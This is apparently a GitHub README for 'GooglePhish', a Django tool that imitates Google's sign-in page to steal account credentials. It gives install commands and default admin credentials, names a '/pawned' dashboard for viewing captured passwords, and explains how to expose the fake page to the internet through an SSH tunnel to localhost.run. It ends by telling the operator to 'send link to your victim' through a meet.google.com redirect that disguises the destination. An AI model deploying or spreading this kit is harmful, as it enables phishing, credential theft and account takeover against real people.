GooglePhish

• Google Account Phishing Tool using Python Django Framework.

• Screenshots

  Screenshots	Screenshots

Fast Installation Using docker

• Pull created image

  • Install Docker

  • Pull googlephish image

    docker pull dmdhrumilmistry/googlephish

  • run docker image

    docker run -d -p 8000:8000 dmdhrumilmistry/googlephish -e

• Build Image and run using build command

    sudo docker build -t googlephish . 

• You can specify your credentials using build arguments like this :

  sudo docker build -t googlephish -e "DJANGO_SUPERUSER_EMAIL=admin@mail.local" -e "DJANGO_SUPERUSER_USERNAME=admin" -e "DJANGO_SUPERUSER_PASSWORD=GooglePhish" . 

• Run docker container

  docker run -d -p 8000:8000 googlephish

If you have build the dockerfile with no arguments, the default credentials are :

• Username : admin
• Password : G00g13P#15#23

• Using Docker Compose

   docker-compose up

  ⚠️ Doesn't work yet

Installation

• Clone/Download repo

  git clone https://github.com/dmdhrumilmistry/GooglePhish.git

• Create virtual environment

  python3 -m venv env

• Load virtual environment

  source env/bin/activate

• Install Poetry

  python3 -m pip install poetry

• Install requirements

  poetry install

• Check for errors

  python3 manage.py check

  Proceed if no errors were encountered.

• migrate db

  python3 manage.py makemigrations
  python3 manage.py migrate

• Create user

  python3 manage.py createsuperuser

• Collect static files

  python3 manage.py collectstatic

• Run server

  python3 manage.py runserver

  Use --insecure tag if any issue is encountered while loading static files.

Update .env file

• Env File template

  DJANGO_SECRET_KEY=secret_key
  DEBUG=False
  ALLOWED_HOSTS=*
  CSRF_TRUSTED_ORIGINS=https://your-domain.ngrok-free.app,https://domain.localhost.run

• Generate and copy new secret key

  python3 generate_new_key.py

• Set DEBUG variable to True only during development stage, else use False

• Set CSRF_TRUSTED_ORIGINS while using ssh tunnels such as ngrok and localhost.run.

• update values in .env file

View Passwords using GooglePhish Dashboard Page

• Dashboard login page

  http://127.0.0.1:8000/pawned
  

Start Server

python3 manage.py runserver

if static files are not loading, turn on debug mode or use

python3 manage.py runserver --insecure

For phishing over the internet

• Start server

  python3 manage.py runserver

• forward port using ssh

  ssh -R 80:localhost:8000 localhost.run

  8000 is port of localhost server. 80 is localhost.run server port. Localhost is service that helps you to expose your server running on localhost to the internet, visit their documentation for more info

• Now send link to your victim

You can redirect user from google meet to your phishing page link using

https://meet.google.com/linkredirect?dest=your_link

Project Maintainer

• dmdhrumilmistry

Contributors

Contributors List

Have any Ideas 💡 or issue

• Create an issue
• Fork the repo, update script and create a Pull Request